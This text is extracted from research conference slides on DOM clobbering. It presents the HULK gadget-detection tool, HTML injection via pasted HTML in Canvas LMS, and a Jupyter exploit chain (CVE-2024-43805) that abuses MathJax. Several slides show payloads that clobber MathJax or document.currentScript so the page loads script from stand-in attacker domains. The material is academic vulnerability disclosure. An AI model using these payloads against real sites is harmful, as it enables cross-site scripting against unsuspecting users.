○ Elements whose contenteditable attribute is enabled can accept HTML 
elements.

○ Clipboard data can have text/html MIME type, not just plain text.

○ Browser clipboard APIs would sanitize scripts but not id or name attributes.

■ https://chromium.googlesource.com/chromium/src/+/main/third_party/blink/renderer/core
/clipboard/README.md#:~:text=Sanitization

650x05 End-to-end Exploitation

https://chromium.googlesource.com/chromium/src/+/main/third_party/blink/renderer/core/clipboard/README.md#:~:text=Sanitization
https://chromium.googlesource.com/chromium/src/+/main/third_party/blink/renderer/core/clipboard/README.md#:~:text=Sanitization


HTML Injection

● Input Vector #2: Insertion via Copy & Paste HTML Elements into Page

○ Elements whose contenteditable attribute is enabled can accept HTML 
elements.

○ Clipboard data can have text/html MIME type, not just plain text.

○ Browser clipboard APIs would sanitize scripts but not id or name attributes.

■ https://chromium.googlesource.com/chromium/src/+/main/third_party/blink/renderer/core
/clipboard/README.md#:~:text=Sanitization

○ If websites just save the element without sanitization?

■ Stored HTML Injection!

660x05 End-to-end Exploitation

https://chromium.googlesource.com/chromium/src/+/main/third_party/blink/renderer/core/clipboard/README.md#:~:text=Sanitization
https://chromium.googlesource.com/chromium/src/+/main/third_party/blink/renderer/core/clipboard/README.md#:~:text=Sanitization


HTML Injection

● Input Vector #2: Insertion via Copy & Paste HTML Elements into Page

670x05 End-to-end Exploitation

Canvas LMS Discussion 
Editing Page 

Copying and pasting HTML inserts 
actual DOM nodes

Typed raw HTML will be sanitized

Saved and shown in the rendered page

Canvas LMS Discussion Page ①

②



Hunting HTML Injection in the Wild

● Manually discovered 185 HTML injection vulnerabilities

○ Wiki, Web Mail, Forum, Editors, RSS, Social Media, Chatbot, Contacts/Tickets

● Summarized 12 editors and client-side libraries vulnerable to HTML injection

680x05 End-to-end Exploitation

Dataset available:

DOMC Gadgets Collection
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End-to-end Exploitation

69

● 12 end-to-end exploitation with our newly discovered DOMC gadgets by Hulk

○ 11 of them lead to XSS, one leads to CSRF

○ Affected applications include JupyterLab/Notebook and Canvas LMS.
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● Summary

Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

HTML Injection in 
Jupyter Lab/Jupyter 
Notebook Web Page

DOM CLobbering 
Gadget in MathJax 
v2.7.9/v3.2.2

End-to-end exploitation!



Jupyter Lab/Jupyter Notebook: CVE-2024-43805[1] 

● HTML Injection in the markdown preview page

710x05 End-to-end Exploitation

HTML Injection HTML Injection

[1] https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-9q39-rmj3-p4r2

https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-9q39-rmj3-p4r2


Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

● HTML Injection in the markdown preview page

720x05 End-to-end Exploitation

https://jupyter.org/try-jupyter/lab/#HELLO
## HELLO 

hello.md
<h2 id=HELLO>HELLO</h2> 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● DOM Clobbering Gadgets in MathJax library

Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

$\frac{1}{x^2-1}$ 

math.md

 
 

<!-- Integration --!> 

<script 

src="https://mathjax.rstudio.com/latest/MathJax.js?

config=TeX-AMS-MML_HTMLorMML"></script> 

 

<!-- Math --!> 

<p>Inline: \frac{1}{x^2-1}</p> 

 

<!-- Render --!> 

<script>MathJax.Hub.Queue(["Typeset", MathJax.Hub, 
"dynamic-math"]);</script> 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● DOM Clobbering Gadgets in MathJax library

Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

$\frac{1}{x^2-1}$ 

math.md

 
 

MathJax v2 (v2.7.9) 
2015 - 2020 

MathJax v3 (v3.2.2) 
2019 - 2025 

MathJax v4 (v4.0.0) 
2025 - ?? 
# Just Released on 2025.08.05 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● DOM Clobbering Gadgets in MathJax v2.7.9 library

Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

if (window.MathJax) { 

   window.MathJax = {AuthorConfig: window.MathJax} 

} else {window.MathJax = {}} 

if (MathJax.AuthorConfig && MathJax.AuthorConfig.root) {MathJax.Ajax.config.root = 

MathJax.AuthorConfig.root} 

window.MathJax.Ajax = { 

   fileURL: function(j) { 

       j = this.config.root + j.substr(i[1]. length + 2) 

   }; 

   loader: { 

       function () { 

           var script = document. createElement ("script"); 

           script.src = this.fileURL(k) + this.fileRev(j); 

}}} 

<a id="MathJax"></a> 

<a id="MathJax" name="root" href="http://attack.hulk"></a> ❶ Clobberable!

❷ Type coercion during string add operation

 ❸ Resolving scripts from attacker-controlled domains
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Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

● DOM Clobbering Gadgets in MathJax v3.2.2 library

○ No more clobberable window.MathJax

○ No more loading of additional depedency scripts by default
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● DOM Clobbering Gadgets in MathJax v3.2.2 library

○ No more loading of additional depedency scripts by default

■ But what if it needs to? “Extensions”!!

Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

$$\require{color} 
\frac{1}{\color{blue}{x^2} - \color{red}{1}}$$ 

 
 

\require macro that allows 
you to load extensions

coloring-math.md
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● DOM Clobbering Gadgets in MathJax v3.2.2 library

Jupyter Lab/Jupyter Notebook: CVE-2024-43805 

t.getRoot = function() { 
    var t = "//../../es5"; 
    if ("undefined" != typeof document) { 
        var e = document.currentScript || document.getElementById("MathJax-script"); 
        e && (t = e.src.replace(/\/[^\/]*$/, "")) 
    } 
    return t 
} 

<img name="currentScript" src="http://attack.com"></img> 

$$\require{color}$$ 

t.prototype.loadScript = function(t) { 
    var e = this 
      , r = document.createElement("script"); 
    r.src = t,} 

❶ Clobberable!

❷ Attribute src is loaded

 ❸ Resolving scripts from attacker-controlled domains
       http://attack.com/input/tex/extensions/color.js
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What’s Going On 

0-day Gadgets found by Hulk

Firefox is considering 
patching the DOM 
Clobbering (disabling 
shadowing on documents 
lookups)
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● We design and implement HULK, a dynamic analysis tool for automatically 
detecting and exploiting DOM Clobbering gadgets.

● We conduct a large-scale study over the Tranco Top 5,000 websites and 
identify 497 exploitable gadgets, revealing the widespread presence of DOM 
Clobbering vulnerabilities in popular client-side libraries.

● We demonstrate 12 end-to-end exploitations by combining the discovered 
gadgets with real-world HTML injections, validating their practical impact.

In Summary



Thank you!
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